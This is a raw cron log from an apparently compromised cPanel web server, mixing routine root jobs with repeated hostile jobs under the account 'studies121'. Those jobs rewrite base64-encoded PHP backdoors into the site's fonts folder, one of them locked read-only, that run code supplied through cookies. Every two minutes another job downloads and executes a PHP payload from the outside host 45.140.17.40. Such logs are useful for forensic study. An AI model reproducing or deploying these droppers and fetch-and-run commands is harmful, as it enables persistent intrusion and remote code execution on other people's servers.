Sep 12 01:41:01 ip-184-168-122-23 CROND[4088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:42:01 ip-184-168-122-23 CROND[4254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:42:01 ip-184-168-122-23 CROND[4256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:42:01 ip-184-168-122-23 CROND[4257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:42:01 ip-184-168-122-23 CROND[4259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:42:01 ip-184-168-122-23 CROND[4261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:43:01 ip-184-168-122-23 CROND[4355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:43:01 ip-184-168-122-23 CROND[4357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:43:01 ip-184-168-122-23 CROND[4356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:43:01 ip-184-168-122-23 CROND[4358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:44:01 ip-184-168-122-23 CROND[4462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:44:01 ip-184-168-122-23 CROND[4466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:44:01 ip-184-168-122-23 CROND[4465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:44:01 ip-184-168-122-23 CROND[4464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:44:01 ip-184-168-122-23 CROND[4463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:45:01 ip-184-168-122-23 CROND[4583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:45:01 ip-184-168-122-23 CROND[4584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:45:01 ip-184-168-122-23 CROND[4585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:45:01 ip-184-168-122-23 CROND[4587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:45:01 ip-184-168-122-23 CROND[4588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:45:01 ip-184-168-122-23 CROND[4586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:46:01 ip-184-168-122-23 CROND[4688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:46:01 ip-184-168-122-23 CROND[4687]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 01:46:01 ip-184-168-122-23 CROND[4689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:46:01 ip-184-168-122-23 CROND[4693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:46:01 ip-184-168-122-23 CROND[4691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:46:01 ip-184-168-122-23 CROND[4692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:46:01 ip-184-168-122-23 CROND[4690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:47:01 ip-184-168-122-23 CROND[4883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:47:01 ip-184-168-122-23 CROND[4884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:47:01 ip-184-168-122-23 CROND[4885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:47:01 ip-184-168-122-23 CROND[4882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:48:01 ip-184-168-122-23 CROND[4969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:48:01 ip-184-168-122-23 CROND[4971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:48:01 ip-184-168-122-23 CROND[4972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:48:01 ip-184-168-122-23 CROND[4974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:48:01 ip-184-168-122-23 CROND[4973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:49:02 ip-184-168-122-23 CROND[5076]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 01:49:02 ip-184-168-122-23 CROND[5078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:49:02 ip-184-168-122-23 CROND[5077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:49:02 ip-184-168-122-23 CROND[5080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:49:02 ip-184-168-122-23 CROND[5079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:50:01 ip-184-168-122-23 CROND[5196]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:50:02 ip-184-168-122-23 CROND[5202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:50:02 ip-184-168-122-23 CROND[5208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:50:02 ip-184-168-122-23 CROND[5211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:51:01 ip-184-168-122-23 CROND[5325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:51:01 ip-184-168-122-23 CROND[5326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:51:01 ip-184-168-122-23 CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:51:01 ip-184-168-122-23 CROND[5328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:52:01 ip-184-168-122-23 CROND[5506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 01:52:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 01:52:01 ip-184-168-122-23 CROND[5509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:52:01 ip-184-168-122-23 CROND[5510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:52:01 ip-184-168-122-23 CROND[5511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 01:53:01 ip-184-168-122-23 CROND[5596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:53:01 ip-184-168-122-23 CROND[5598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
